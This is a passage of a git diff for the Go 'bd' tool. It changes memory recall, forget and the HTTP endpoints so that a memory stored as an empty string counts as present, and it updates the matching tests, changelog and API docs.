.../httpclient/served_memories_deps_test.go | 4 +- internal/httpclient/wire/writes.go | 8 +- internal/storage/dolt/memories.go | 9 +- .../storage/dolt/memories_contract_test.go | 4 +- internal/storage/embeddeddolt/memories.go | 9 +- .../embeddeddolt/memories_contract_test.go | 4 +- internal/storage/memoryops/memories.go | 30 ++-- internal/storage/uow/memories.go | 16 +- .../storage/uow/memories_contract_test.go | 4 +- memoryops/errors.go | 15 +- memoryops/memories.go | 25 +-- 24 files changed, 476 insertions(+), 196 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 3eea684e1..1ab3cbdec 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -795,6 +795,21 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 route; the direct and embedded routes are unchanged ([#5861](https://github.com/gastownhall/beads/issues/5861) item 1). +- **`bd recall`, `bd forget`, `bd remember `, + `GET /v0/beads/memories/{key}` and `DELETE /v0/beads/memories/{key}` now + treat an empty-valued memory as present** + ([#5964](https://github.com/gastownhall/beads/pull/5964), fixes + [#5963](https://github.com/gastownhall/beads/issues/5963)). Presence used to + be derived from the stored value's truthiness, so a memory written out of + band with an empty string was invisible even though its row existed. `bd + recall` printed "No memory with key" and exited 1, `bd forget` refused to + delete it, `bd remember ` refused to recall it, and both HTTP + doors answered 404 (the DELETE leaving the row in place), while + `GET /v0/beads/memories` already enumerated the same row. Presence now comes from row existence on direct Dolt, embedded Dolt and + the proxied backend. An empty-valued memory is found, recalls as an empty + string, and is deleted on the first forget. Only a key with no row is a + miss. + - **`bd doctor` no longer flags a `.local_version` that starts with `v`.** The canonical spelling of a Go module version — and the string a build stamped from a Go pseudo-version reports and writes into `.local_version` itself — diff --git a/backend/conformance/memories_contract.go b/backend/conformance/memories_contract.go index c7b33221c..dc45191f4 100644 --- a/backend/conformance/memories_contract.go +++ b/backend/conformance/memories_contract.go @@ -233,14 +233,11 @@ func RunMemoriesRememberWithExplicitKeyStoresVerbatim(t *testing.T, ctx context. } // RunMemoriesRememberReplacesAndReportsIt pins -// memoryops.RememberResult.Replaced, including the leg that makes it different -// from RecallResult.Found. +// memoryops.RememberResult.Replaced against row presence. // // Three legs: a first write reports false, a second reports true and REPLACES -// rather than appends, and a write over an out-of-band EMPTY row reports true -// even though a Recall of that key would have reported Found false. The third -// is the divergence the leaf doc states — Replaced is about the ROW — and it is -// the one a body computing `previous != ""` gets wrong. +// rather than appends, and a write over an out-of-band EMPTY row reports true. +// The third is the one a body computing `previous != ""` gets wrong. func RunMemoriesRememberReplacesAndReportsIt(t *testing.T, ctx context.Context, fixture MemoriesFixture) { t.Helper() neighbors := seedMemoriesAllFourClasses(t, ctx, fixture) @@ -262,7 +259,7 @@ func RunMemoriesRememberReplacesAndReportsIt(t *testing.T, ctx context.Context, if err := fixture.SetConfig(ctx, "kv.memory."+emptied, ""); err != nil { t.Fatalf("seed an empty memory row out of band: %v", err) } - assertMemoriesRecall(t, ctx, fixture, emptied, "", false) + assertMemoriesRecall(t, ctx, fixture, emptied, "", true) overEmpty := rememberMemory(t, ctx, fixture, memoryops.RememberRequest{Key: emptied, Content: "now it has content"}) if !overEmpty.Replaced { t.Fatalf("Remember over a row stored EMPTY reported Replaced false: Replaced is about the row, " + @@ -374,8 +371,8 @@ func RunMemoriesRecallAnswersTheStoredValue(t *testing.T, ctx context.Context, f } // RunMemoriesRecallReportsAMissAsNotFoundNotAnError pins the decision recorded -// in memoryops/errors.go: there is no ErrNotFound on this role, because the -// seam beneath it cannot see the difference the error would claim. +// in memoryops/errors.go: absence is a result callers inspect, not an +// operational error they must classify. func RunMemoriesRecallReportsAMissAsNotFoundNotAnError(t *testing.T, ctx context.Context, fixture MemoriesFixture) { t.Helper() seedMemoriesAllFourClasses(t, ctx, fixture) @@ -401,33 +398,70 @@ func RunMemoriesRecallReportsAMissAsNotFoundNotAnError(t *testing.T, ctx context } } -// RunMemoriesRecallConflatesStoredEmptyWithAbsent pins -// memoryops.RecallResult.Found's central claim, and the one asymmetry that lets -// a caller see past it: List enumerates the key, because the ROW exists. +// RunMemoriesEmptyRowIsPresentUntilForgotten pins presence to the ROW rather +// than to whether its value is non-empty. No front door creates an empty +// memory, but out-of-band config writes and older workspaces can contain one, +// and it must remain addressable through Recall and Forget. // -// That is the same same-answer-different-row shape the settings contract pins -// for `bd config get`, and stating it is what keeps a backend from "fixing" it -// on one leg and making the answer depend on the route. -func RunMemoriesRecallConflatesStoredEmptyWithAbsent(t *testing.T, ctx context.Context, fixture MemoriesFixture) { +// The second Forget is the retry leg: after the first call deletes the row, it +// reports a genuine miss and records no further history. +func RunMemoriesEmptyRowIsPresentUntilForgotten(t *testing.T, ctx context.Context, fixture MemoriesFixture) { t.Helper() - seedMemoriesAllFourClasses(t, ctx, fixture) + neighbors := seedMemoriesAllFourClasses(t, ctx, fixture) emptied := fixture.IssuePrefix + "-stored-empty" never := fixture.IssuePrefix + "-never-stored" if err := fixture.SetConfig(ctx, "kv.memory."+emptied, ""); err != nil { t.Fatalf("seed an empty memory row out of band: %v", err) } - assertMemoriesRecall(t, ctx, fixture, emptied, "", false) + assertMemoriesRecall(t, ctx, fixture, emptied, "", true) assertMemoriesRecall(t, ctx, fixture, never, "", false) plane := listMemories(t, ctx, fixture, "") if value, ok := plane[emptied]; !ok || value != "" { - t.Fatalf("List[%q] = %q (present=%v), want an empty value that IS enumerated: "+ - "the row exists even though Recall denies it", emptied, value, ok) + t.Fatalf("List[%q] = %q (present=%v), want an enumerated empty value", emptied, value, ok) } if _, ok := plane[never]; ok { t.Fatalf("List carries %q, which nothing stored", never) } + + first := forgetMemory(t, ctx, fixture, emptied) + if !first.Found || first.Value != "" { + t.Fatalf("first Forget(%q) = %+v, want Found true with the empty stored value", emptied, first) + } + assertMemoriesRawAbsent(t, ctx, fixture, "kv.memory."+emptied) + assertMemoriesNeighborsSurvived(t, ctx, fixture, neighbors) + + var afterFirst int + if fixture.CountHistory != nil { + var err error + afterFirst, err = fixture.CountHistory(ctx) + if err != nil { + t.Fatalf("CountHistory after first Forget: %v", err) + } + } + + second := forgetMemory(t, ctx, fixture, emptied) + if second.Found || second.Value != "" { + t.Fatalf("second Forget(%q) = %+v, want Found false with no value", emptied, second) + } + assertMemoriesRawAbsent(t, ctx, fixture, "kv.memory."+emptied) + assertMemoriesNeighborsSurvived(t, ctx, fixture, neighbors) + + // The no-write half of the retry is the only leg that needs history, which + // is why it comes last: a backend that cannot observe history has run every + // other leg by here, and SKIPS this one with that reason, as the + // MemoriesFixture.CountHistory doc promises, rather than passing quietly. + if fixture.CountHistory == nil { + t.Skip("this backend cannot observe history, so the no-write half of the retry is unobservable here") + } + afterSecond, err := fixture.CountHistory(ctx) + if err != nil { + t.Fatalf("CountHistory after second Forget: %v", err) + } + if afterSecond != afterFirst { + t.Fatalf("history entries went %d -> %d across the second Forget, want no write", afterFirst, afterSecond) + } } // RunMemoriesForgetRemovesExactlyTheNamedRow IS THE QUADRANT CASE, and the @@ -528,13 +562,7 @@ func RunMemoriesForgetReportsTheForgottenValue(t *testing.T, ctx context.Context // RunMemoriesForgetOfAnAbsentKeyIsNotFoundAndDeletesNothing pins that a miss is // a RESULT and not an error, that it changes no row anywhere in the table, that // the second call — the one a retrying caller actually makes — answers the same -// way, and that the SECOND kind of miss behaves like the first: a memory stored -// as the empty string is Found false, and its row is left standing. -// -// That last leg is memoryops.ForgetResult.Found's parenthesis, and it keeps -// Forget's answer and Recall's answer the same statement. A body that deleted -// on "the row is there" rather than on "Recall would find it" would report -// nothing removed while removing something. +// way. // // The whole-table row count is the assertion that matters: "the key is still // absent" would pass on a delete that swept a neighboring plane. @@ -542,10 +570,6 @@ func RunMemoriesForgetOfAnAbsentKeyIsNotFoundAndDeletesNothing(t *testing.T, ctx t.Helper() neighbors := seedMemoriesAllFourClasses(t, ctx, fixture) key := fixture.IssuePrefix + "-never-stored-forget" - emptied := fixture.IssuePrefix + "-empty-forget" - if err := fixture.SetConfig(ctx, "kv.memory."+emptied, ""); err != nil { - t.Fatalf("seed an empty memory row out of band: %v", err) - } var before int if err := fixture.QueryScalar(ctx, "SELECT COUNT(*) FROM config", nil, &before); err != nil { @@ -553,14 +577,12 @@ func RunMemoriesForgetOfAnAbsentKeyIsNotFoundAndDeletesNothing(t *testing.T, ctx } for attempt := 1; attempt <= 2; attempt++ { - for _, miss := range []string{key, emptied} { - result, err := fixture.Memories.Forget(ctx, memoryops.ForgetRequest{Key: miss}) - if err != nil { - t.Fatalf("Forget(%q) attempt %d = %v, want success with Found false", miss, attempt, err) - } - if result.Found || result.Value != "" { - t.Fatalf("Forget(%q) attempt %d = %+v, want Found false and no value", miss, attempt, result) - } + result, err := fixture.Memories.Forget(ctx, memoryops.ForgetRequest{Key: key}) + if err != nil { + t.Fatalf("Forget(%q) attempt %d = %v, want success with Found false", key, attempt, err) + } + if result.Found || result.Value != "" { + t.Fatalf("Forget(%q) attempt %d = %+v, want Found false and no value", key, attempt, result) } } @@ -569,11 +591,8 @@ func RunMemoriesForgetOfAnAbsentKeyIsNotFoundAndDeletesNothing(t *testing.T, ctx t.Fatalf("count config rows after: %v", err) } if after != before { - t.Fatalf("config rows went %d -> %d across four forgets that found nothing, want no change", before, after) + t.Fatalf("config rows went %d -> %d across two forgets that found nothing, want no change", before, after) } - // The stored-empty row is specifically still there: Found false said nothing - // was removed, and that has to be true of the row as well as of the answer. - assertMemoriesRawValue(t, ctx, fixture, "kv.memory."+emptied, "") assertMemoriesNeighborsSurvived(t, ctx, fixture, neighbors) // The empty key is a refusal, not a miss. diff --git a/backend/conformance/role_bundle_cases.go b/backend/conformance/role_bundle_cases.go index 782a20306..36c158477 100644 --- a/backend/conformance/role_bundle_cases.go +++ b/backend/conformance/role_bundle_cases.go @@ -505,7 +505,7 @@ var roleContractCases = []roleContract{ RunMemoriesRememberRefusesAnUnderivableKey, RunMemoriesRecallAnswersTheStoredValue, RunMemoriesRecallReportsAMissAsNotFoundNotAnError, - RunMemoriesRecallConflatesStoredEmptyWithAbsent, + RunMemoriesEmptyRowIsPresentUntilForgotten, RunMemoriesForgetRemovesExactlyTheNamedRow, RunMemoriesForgetNeverTouchesTheSettingsPlane, RunMemoriesForgetReportsTheForgottenValue, diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index 6506f2bd3..7c493dc27 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -1350,6 +1350,7 @@ go_test( "//internal/storage/issueops", "//internal/storage/journalscan", "//internal/storage/kvkeys", + "//internal/storage/memoryops", "//internal/storage/schema", "//internal/storage/uow", "//internal/storage/versioncontrolops", diff --git a/cmd/bd/memory.go b/cmd/bd/memory.go index 944ec014a..1f0746b05 100644 --- a/cmd/bd/memory.go +++ b/cmd/bd/memory.go @@ -217,9 +217,11 @@ func rememberBudgetVerdict(existing map[string]string, key, content string, budg // `bd remember ` (no --key): a bare slug naming an EXISTING memory // is recalled instead of stored; a bare slug naming nothing is refused. The // caller only invokes it when memoryKeyFlag == "" and the insight round-trips -// through memoryapi.DeriveKey unchanged, having already read the key. -func rememberBareKeyPath(key, insight, existing string) error { - if existing != "" { +// through memoryapi.DeriveKey unchanged, having already read the key. As in +// printRecallResult, presence is found (row existence), never existing != "": +// a bare slug naming a memory stored as the empty string recalls it. +func rememberBareKeyPath(key, insight, existing string, found bool) error { + if found { if jsonOutput { return outputJSON(map[string]interface{}{ "key": key, @@ -317,22 +319,24 @@ func printForgetResult(key, existing string) error { } // printRecallResult renders the `bd recall` output (including the not-found -// SilentExit contract). -func printRecallResult(key, value string) error { +// SilentExit contract). Presence comes from found — ROW EXISTENCE, per the +// role's RecallResult.Found — never from value != "": a memory stored as the +// empty string is found and recalls as "", and only an absent key is a miss. +func printRecallResult(key, value string, found bool) error { if jsonOutput { if jerr := outputJSON(map[string]interface{}{ "key": key, "value": value, - "found": value != "", + "found": found, }); jerr != nil { return jerr } - if value == "" { + if !found { return SilentExit() } return nil } - if value == "" { + if !found { fmt.Fprintf(os.Stderr, "No memory with key %q\n", key) return SilentExit() } @@ -436,7 +440,7 @@ Examples: if err != nil { return HandleErrorRespectJSON("recalling memory: %v", err) } - return rememberBareKeyPath(derived, insight, recalled.Value) + return rememberBareKeyPath(derived, insight, recalled.Value, recalled.Found) } // Corpus budget (memories.budget-chars, OPT-IN, 0 = off). The @@ -653,7 +657,7 @@ Examples: return HandleErrorRespectJSON("recalling memory: %v", err) } - return printRecallResult(result.Key, result.Value) + return printRecallResult(result.Key, result.Value, result.Found) }, } diff --git a/cmd/bd/memory_embedded_test.go b/cmd/bd/memory_embedded_test.go index c39735030..21449412e 100644 --- a/cmd/bd/memory_embedded_test.go +++ b/cmd/bd/memory_embedded_test.go @@ -16,6 +16,7 @@ import ( "github.com/steveyegge/beads/internal/configfile" "github.com/steveyegge/beads/internal/storage/embeddeddolt" + storagememoryops "github.com/steveyegge/beads/internal/storage/memoryops" ) // countMemoryDoltCommits reads dolt_log for an embedded workspace. It is how @@ -41,6 +42,30 @@ func countMemoryDoltCommits(t *testing.T, beadsDir string) int { return count } +// storeMemoryValueOutOfBand overwrites a memory row's value with SQL, beneath +// every bd code path. It is the only way a test gets an empty-valued memory: +// `bd remember` refuses empty content, so such a row always arrives out of band. +func storeMemoryValueOutOfBand(t *testing.T, beadsDir, key, value string) { + t.Helper() + cfg, _ := configfile.Load(beadsDir) + database := "" + if cfg != nil { + database = cfg.GetDoltDatabase() + } + db, cleanup, err := embeddeddolt.OpenSQL(t.Context(), filepath.Join(beadsDir, "embeddeddolt"), database, "main") + if err != nil { + t.Fatalf("OpenSQL: %v", err) + } + defer cleanup() + res, err := db.ExecContext(t.Context(), "UPDATE config SET value = ? WHERE `key` = ?", value, storagememoryops.StorageKey(key)) + if err != nil { + t.Fatalf("update memory %q: %v", key, err) + } + if n, err := res.RowsAffected(); err != nil || n != 1 { + t.Fatalf("update memory %q: %d rows affected (err %v), want 1", key, n, err) + } +} + // bdRemember runs "bd remember" with the given args and returns stdout. func bdRemember(t *testing.T, bd, dir string, args ...string) string { t.Helper() @@ -283,6 +308,29 @@ func TestEmbeddedMemory(t *testing.T) { bdRecallFail(t, bd, dir, "forget-me") }) + // AN EMPTY-VALUED MEMORY IS PRESENT (#5963). These run the real commands, so + // they pin each RunE's wiring and not only its renderer: a call site that + // went back to deciding presence from value != "" fails here while + // TestPrintRecallResult and TestRememberBareKeyPath stay green. Its own + // workspace, because the row is emptied beneath bd. + t.Run("empty_valued_memory_is_present", func(t *testing.T) { + edir, ebeads, _ := bdInit(t, bd, "--prefix", "em") + bdRemember(t, bd, edir, "placeholder the test empties", "--key", "stored-empty") + storeMemoryValueOutOfBand(t, ebeads, "stored-empty", "") + + // The placeholder check proves bd sees the emptied row. Without it, a + // write bd never read would leave this test green on a reverted fix. + if out := bdRecall(t, bd, edir, "stored-empty"); strings.Contains(out, "placeholder") { + t.Fatalf("bd recall still sees the placeholder, so the row was not emptied: %s", out) + } + // A bare key naming the empty-valued memory recalls it instead of refusing. + if out := bdRemember(t, bd, edir, "stored-empty"); strings.Contains(out, "placeholder") { + t.Fatalf("bd remember still sees the placeholder: %s", out) + } + bdForget(t, bd, edir, "stored-empty") + bdRecallFail(t, bd, edir, "stored-empty") + }) + // THE AUTO-COMMIT EPILOGUE, which is the trap this convergence was most // likely to spring. A direct-route write lands in the Dolt WORKING SET and // nothing else commits it: durability is the epilogue in main.go, keyed on diff --git a/cmd/bd/memory_pure_test.go b/cmd/bd/memory_pure_test.go index 5cd96fa82..6ad443c19 100644 --- a/cmd/bd/memory_pure_test.go +++ b/cmd/bd/memory_pure_test.go @@ -3,7 +3,11 @@ package main -import "testing" +import ( + "encoding/json" + "strings" + "testing" +) // TestMatchesKnownCommand guards the `bd remember ` misfire fix // (GH#4401): a bare word that names a real top-level command must be flagged so @@ -39,3 +43,155 @@ func TestMatchesKnownCommand(t *testing.T) { }) } } + +// TestPrintRecallResult guards the bd-5963 fix: presence must come from +// `RecallResult.Found` (row existence), never from `value != ""`. Before the +// fix, `bd recall` on a memory stored as the empty string printed "No memory +// with key" and exited 1 even though the row was there and `bd forget` would +// delete it — the CLI disagreed with the role and with the HTTP door about +// what "found" means for that row. +func TestPrintRecallResult(t *testing.T) { + t.Run("found with empty value prints the empty value and exits clean", func(t *testing.T) { + savedJSONOutput := jsonOutput + jsonOutput = false + defer func() { jsonOutput = savedJSONOutput }() + + var err error + out := captureStdout(t, func() error { + err = printRecallResult("empty-key", "", true) + return nil + }) + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + if out != "\n" { + t.Errorf("stdout = %q, want a single newline (the empty value)", out) + } + }) + + t.Run("found with empty value in JSON reports found true", func(t *testing.T) { + savedJSONOutput := jsonOutput + jsonOutput = true + defer func() { jsonOutput = savedJSONOutput }() + + var err error + out := captureStdout(t, func() error { + err = printRecallResult("empty-key", "", true) + return nil + }) + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + var body map[string]interface{} + if uerr := json.Unmarshal([]byte(strings.TrimSpace(out)), &body); uerr != nil { + t.Fatalf("unmarshal %q: %v", out, uerr) + } + if body["found"] != true { + t.Errorf("found = %v, want true", body["found"]) + } + if body["value"] != "" { + t.Errorf("value = %v, want \"\"", body["value"]) + } + if body["key"] != "empty-key" { + t.Errorf("key = %v, want %q", body["key"], "empty-key") + } + }) + + t.Run("found with non-empty value is unchanged", func(t *testing.T) { + savedJSONOutput := jsonOutput + jsonOutput = false + defer func() { jsonOutput = savedJSONOutput }() + + var err error + out := captureStdout(t, func() error { + err = printRecallResult("k", "hello", true) + return nil + }) + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + if out != "hello\n" { + t.Errorf("stdout = %q, want %q", out, "hello\n") + } + }) + + t.Run("not found prints the miss and exits 1", func(t *testing.T) { + savedJSONOutput := jsonOutput + jsonOutput = false + defer func() { jsonOutput = savedJSONOutput }() + + var err error + stderr := captureStderr(t, func() { + err = printRecallResult("gone", "", false) + }) + if !strings.Contains(stderr, `No memory with key "gone"`) { + t.Errorf("stderr = %q, want it to name the missing key", stderr) + } + ee, ok := err.(*exitError) + if !ok || ee.Code != 1 { + t.Errorf("err = %v, want *exitError{Code: 1}", err) + } + }) + + t.Run("not found in JSON reports found false and exits 1", func(t *testing.T) { + savedJSONOutput := jsonOutput + jsonOutput = true + defer func() { jsonOutput = savedJSONOutput }() + + var err error + out := captureStdout(t, func() error { + err = printRecallResult("gone", "", false) + return nil + }) + var body map[string]interface{} + if uerr := json.Unmarshal([]byte(strings.TrimSpace(out)), &body); uerr != nil { + t.Fatalf("unmarshal %q: %v", out, uerr) + } + if body["found"] != false { + t.Errorf("found = %v, want false", body["found"]) + } + ee, ok := err.(*exitError) + if !ok || ee.Code != 1 { + t.Errorf("err = %v, want *exitError{Code: 1}", err) + } + }) +} + +// TestRememberBareKeyPath guards the same presence rule on the +// `bd remember ` read path: a bare slug naming a memory stored as +// the empty string recalls it, and only a slug naming nothing is refused. +func TestRememberBareKeyPath(t *testing.T) { + savedJSONOutput := jsonOutput + jsonOutput = true + defer func() { jsonOutput = savedJSONOutput }() + + t.Run("found with empty value recalls it", func(t *testing.T) { + var err error + out := captureStdout(t, func() error { + err = rememberBareKeyPath("empty-key", "empty-key", "", true) + return nil + }) + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + var body map[string]interface{} + if uerr := json.Unmarshal([]byte(strings.TrimSpace(out)), &body); uerr != nil { + t.Fatalf("unmarshal %q: %v", out, uerr) + } + if body["action"] != "recalled" || body["found"] != true || body["value"] != "" { + t.Errorf("body = %v, want action recalled, found true, empty value", body) + } + }) + + t.Run("not found is refused", func(t *testing.T) { + var err error + captureStdout(t, func() error { + err = rememberBareKeyPath("gone", "gone", "", false) + return nil + }) + ee, ok := err.(*exitError) + if !ok || ee.Code != 1 { + t.Errorf("err = %v, want *exitError{Code: 1}", err) + } + }) +} diff --git a/internal/httpapi/apigen/types.gen.go b/internal/httpapi/apigen/types.gen.go index ae84aeca7..afd6eedff 100644 --- a/internal/httpapi/apigen/types.gen.go +++ b/internal/httpapi/apigen/types.gen.go @@ -1563,7 +1563,7 @@ type Memory struct { // Value The stored content, verbatim: newlines, surrounding space and unicode as stored, never truncated and never withheld. // - // Always present. It is the empty string only where a row was written out of band with an empty value, which `GET /v0/beads/memories/{key}` answers as a `404` and `GET /v0/beads/memories` enumerates. + // Always present. It is the empty string only where a row was written out of band with an empty value — a row `GET /v0/beads/memories/{key}` answers `200` for, and `GET /v0/beads/memories` enumerates, the same as any other memory. Value string `json:"value"` } @@ -1865,7 +1865,7 @@ type RememberedMemory struct { // Replaced True when a previous value existed under `key` and this request overwrote it; false when the key was new. It is observed in the same transaction as the write, so it describes the row this request wrote. // - // A previous value that was the EMPTY STRING reports true: the ROW existed, even though `GET /v0/beads/memories/{key}` would have answered `404` for it. That divergence is the storage seam's conflation showing through, and it is stated rather than smoothed over, because smoothing it would mean this member reporting "nothing was there" about a write that overwrote something. + // A previous value that was the EMPTY STRING reports true: the ROW existed, and `GET /v0/beads/memories/{key}` would have answered `200` for it too, with an empty `value` — this member and that endpoint agree on what counts as present, because both read it off the row rather than off the value it happened to hold. Replaced bool `json:"replaced"` // Value The stored content, echoed verbatim. Always present, and never withheld — this plane has no redaction; see the operation description. diff --git a/internal/httpapi/memories.go b/internal/httpapi/memories.go index 2bf3271c0..06970a2e2 100644 --- a/internal/httpapi/memories.go +++ b/internal/httpapi/memories.go @@ -162,11 +162,10 @@ func (s *Server) handleGetMemory(w http.ResponseWriter, r *http.Request) { // SilentExit), and the role answers Found rather than a bare value, so the // status here reports a distinction that exists rather than inventing one. // - // A row stored as the EMPTY STRING falls on the miss side of it, because - // that is where the role puts it — the storage seam cannot tell it from an - // absent row, and this handler will not claim to see what the role cannot. - // listMemories enumerates such a row, which is the one way a client tells - // the two apart. + // Found is ROW EXISTENCE, not value truthiness. A row stored as the EMPTY + // STRING is found: it comes back as a 200 with an empty `value`, exactly + // like `GET /v0/beads/memories` already enumerates it. Only a key nothing + // stored is a miss. if !result.Found { s.fail(w, r, MemoryNotFound()) return diff --git a/internal/httpapi/memories_test.go b/internal/httpapi/memories_test.go index ee9636ae9..fafcc6ca0 100644 --- a/internal/httpapi/memories_test.go +++ b/internal/httpapi/memories_test.go @@ -279,41 +279,54 @@ func TestGetMemoryAnswersTheStoredValue(t *testing.T) { } // TestGetMemoryAnswersAMissWithA404 is the deliberate divergence from the -// settings surface's no-404 doctrine. -// -// Both legs are the SAME answer from the role — Found false — and both are a -// 404: a row stored as the empty string is a miss here because the storage seam -// cannot tell it from an absent row, and the wire does not claim to see what -// the role cannot. `GET /v0/beads/memories` enumerating such a row is the one -// way a client tells them apart. +// settings surface's no-404 doctrine: a key nothing stored is Found false from +// the role, and the wire reports a 404 rather than the settings plane's silent +// "(not set)" 200. func TestGetMemoryAnswersAMissWithA404(t *testing.T) { - for _, tc := range []struct { - name string - result memoryops.RecallResult - }{ - {name: "nothing stored", result: memoryops.RecallResult{Key: "gone"}}, - {name: "stored as the empty string", result: memoryops.RecallResult{Key: "gone", Value: ""}}, - } { - t.Run(tc.name, func(t *testing.T) { - ts := newTestServer(t, rolesConfig(Config{Memories: &roleMemories{recalled: tc.result}})) + ts := newTestServer(t, rolesConfig(Config{Memories: &roleMemories{ + recalled: memoryops.RecallResult{Key: "gone"}, + }})) - resp := ts.get(t, memoriesPath+"/gone") - if resp.StatusCode != http.StatusNotFound { - t.Fatalf("status = %d, want 404: %s", resp.StatusCode, readAll(t, resp)) - } - body := decodeBody(t, resp) - if got := body["code"]; got != string(CodeNotFound) { - t.Errorf("code = %v, want %q", got, CodeNotFound) - } - if body["request_id"] == nil { - t.Error("no request_id on the problem body") - } - // The detail is about the MEMORY plane. Reusing the issue-id - // sentence would tell a client its memory key was an issue id. - if got, _ := body["detail"].(string); !strings.Contains(got, "memory") { - t.Errorf("detail = %q, want it to name the memory plane", got) - } - }) + resp := ts.get(t, memoriesPath+"/gone") + if resp.StatusCode != http.StatusNotFound { + t.Fatalf("status = %d, want 404: %s", resp.StatusCode, readAll(t, resp)) + } + body := decodeBody(t, resp) + if got := body["code"]; got != string(CodeNotFound) { + t.Errorf("code = %v, want %q", got, CodeNotFound) + } + if body["request_id"] == nil { + t.Error("no request_id on the problem body") + } + // The detail is about the MEMORY plane. Reusing the issue-id sentence + // would tell a client its memory key was an issue id. + if got, _ := body["detail"].(string); !strings.Contains(got, "memory") { + t.Errorf("detail = %q, want it to name the memory plane", got) + } +} + +// TestGetMemoryAnswersAnEmptyValueWith200 pins bd-5963's fix: presence comes +// from the role's Found (row existence), never from Value != "". A row +// written out of band with an empty value is a real row — the same one +// `GET /v0/beads/memories` already enumerates — so this door answers 200 with +// an empty value rather than the 404 it used to share with an absent key. +func TestGetMemoryAnswersAnEmptyValueWith200(t *testing.T) { + memories := &roleMemories{recalled: memoryops.RecallResult{ + Key: "gone", Value: "", Found: true, + }} + ts := newTestServer(t, rolesConfig(Config{Memories: memories})) + + resp := ts.get(t, memoriesPath+"/gone") + if resp.StatusCode != http.StatusOK { + t.Fatalf("status = %d, want 200: %s", resp.StatusCode, readAll(t, resp)) + } + + body := decodeBody(t, resp) + if got := body["key"]; got != "gone" { + t.Errorf("key = %v, want %q", got, "gone") + } + if got := body["value"]; got != "" { + t.Errorf("value = %v, want \"\"", got) } } @@ -440,6 +453,32 @@ func TestForgetMemoryOfAnAbsentKeyIs404AndRemovesNothing(t *testing.T) { } } +// TestForgetMemoryOfAnEmptyValuedKeyIs200 is the DELETE half of bd-5963's fix, +// pinned at the door as TestGetMemoryAnswersAnEmptyValueWith200 pins the read: +// a row stored as the empty string is Found, so it was removed, and the answer +// is a 200 carrying the empty value it held. A door that keyed its 404 on +// Value == "" would tell a client "there was nothing to remove" about a row it +// had just deleted, and the role's conformance contract could not see it. +func TestForgetMemoryOfAnEmptyValuedKeyIs200(t *testing.T) { + memories := &roleMemories{forgotten: memoryops.ForgetResult{ + Key: "stored-empty", Value: "", Found: true, + }} + ts := newTestServer(t, rolesConfig(Config{Memories: memories})) + + resp := ts.forget(t, memoriesPath+"/stored-empty") + if resp.StatusCode != http.StatusOK { + t.Fatalf("status = %d, want 200: %s", resp.StatusCode, readAll(t, resp)) + } + + body := decodeBody(t, resp) + if got := body["key"]; got != "stored-empty" { + t.Errorf("key = %v, want %q", got, "stored-empty") + } + if got := body["value"]; got != "" { + t.Errorf("value = %v, want \"\"", got) + } +} + // TestForgetMemoryRefusesAKeyItCannotAddress: the door refuses the same keys // the read refuses, and the role is never reached — which on a DESTRUCTIVE // operation is the half that matters. A stored key carrying a control @@ -526,9 +565,8 @@ func TestListMemoriesAnswersThePlaneOrderedByKey(t *testing.T) { "alpha": "first by key", "Has Spaces.✓": "an explicit key", // A row written out of band with an empty value. It is enumerated here - // — its KEY exists — while GET /v0/beads/memories/{key} answers 404 for - // it, and that asymmetry is the one way a client tells a row stored - // empty from a row that is not there. + // like any other row, and GET /v0/beads/memories/{key} answers it with a + // 200 and an empty value (TestGetMemoryAnswersAnEmptyValueWith200). "stored-empty": "", }}} ts := newTestServer(t, rolesConfig(Config{Memories: memories})) diff --git a/internal/httpapi/problem.go b/internal/httpapi/problem.go index 2bad156a1..fc1a38b4a 100644 --- a/internal/httpapi/problem.go +++ b/internal/httpapi/problem.go @@ -1036,8 +1036,9 @@ var operationCodes = map[string][]Code{ // the CLI itself prints identically, so a 404 would publish an invented // distinction. Here the CLI already distinguishes a miss — `bd recall` has // an exit-code contract for it — and the role answers Found rather than a - // value, so the 404 reports a distinction that exists. The stored-empty row - // falls on the miss side of it, which the document states. + // value, so the 404 reports a distinction that exists. Found is row + // existence: a row stored as the empty string is a 200 with an empty value, + // and only an absent row is the 404, which the document states. OpGetMemory: {CodeInvalidArgument, CodeUnauthenticated, CodeNotFound, CodeBusy, CodeDBUnavailable, CodeInternal}, // The read's vocabulary exactly, because the two operations address the same // resource the same way and this one's Found false is the same answer: a key @@ -1510,10 +1511,9 @@ func EventsWatchSaturated() Result { // // A separate constructor rather than a detail argument on NotFound, because the // two say different things: that one is about the issue id space, and reusing -// its sentence here would tell a client its memory key was an issue id. The -// detail deliberately does NOT distinguish an absent row from one stored as the -// empty string — the role cannot see the difference, so the wire must not claim -// to. +// its sentence here would tell a client its memory key was an issue id. It is +// only ever the answer for an absent row: a row stored as the empty string is +// found, and the read answers it with a 200. func MemoryNotFound() Result { return newResult(CodeNotFound, "this workspace holds no memory under that key") } diff --git a/internal/httpapi/spec/openapi.v0.yaml b/internal/httpapi/spec/openapi.v0.yaml index b77bfab1a..d95723cb0 100644 --- a/internal/httpapi/spec/openapi.v0.yaml +++ b/internal/httpapi/spec/openapi.v0.yaml @@ -5768,10 +5768,10 @@ paths: A memory stored as the EMPTY STRING is enumerated here, because its key - exists, while `GET /v0/beads/memories/{key}` answers `404` for it. That - asymmetry is the one way a client can tell a row stored empty from a row - that is not there, and it is the storage seam's conflation showing - through rather than a rule this surface invented. + exists, and `GET /v0/beads/memories/{key}` agrees: it answers `200` for + that same row, with an empty `value`. Presence is row existence on both + surfaces, never whether the value happens to be non-empty; only a key + nothing stored is missing from either one. The envelope is the paginated one and `has_more` is ALWAYS false: @@ -5928,12 +5928,13 @@ paths: — so a 404 reports a distinction that exists rather than minting one. - A MEMORY STORED AS THE EMPTY STRING IS A 404 TOO. No front door can - create one — storing empty content is refused — but an out-of-band write - to the config table can, and the role does not invent a distinction the - storage seam beneath it cannot see. `GET /v0/beads/memories` DOES - enumerate such a row, because its key exists, and that asymmetry is the - one way a client can tell the two apart. + A MEMORY STORED AS THE EMPTY STRING IS A 200, WITH AN EMPTY `value`. No + 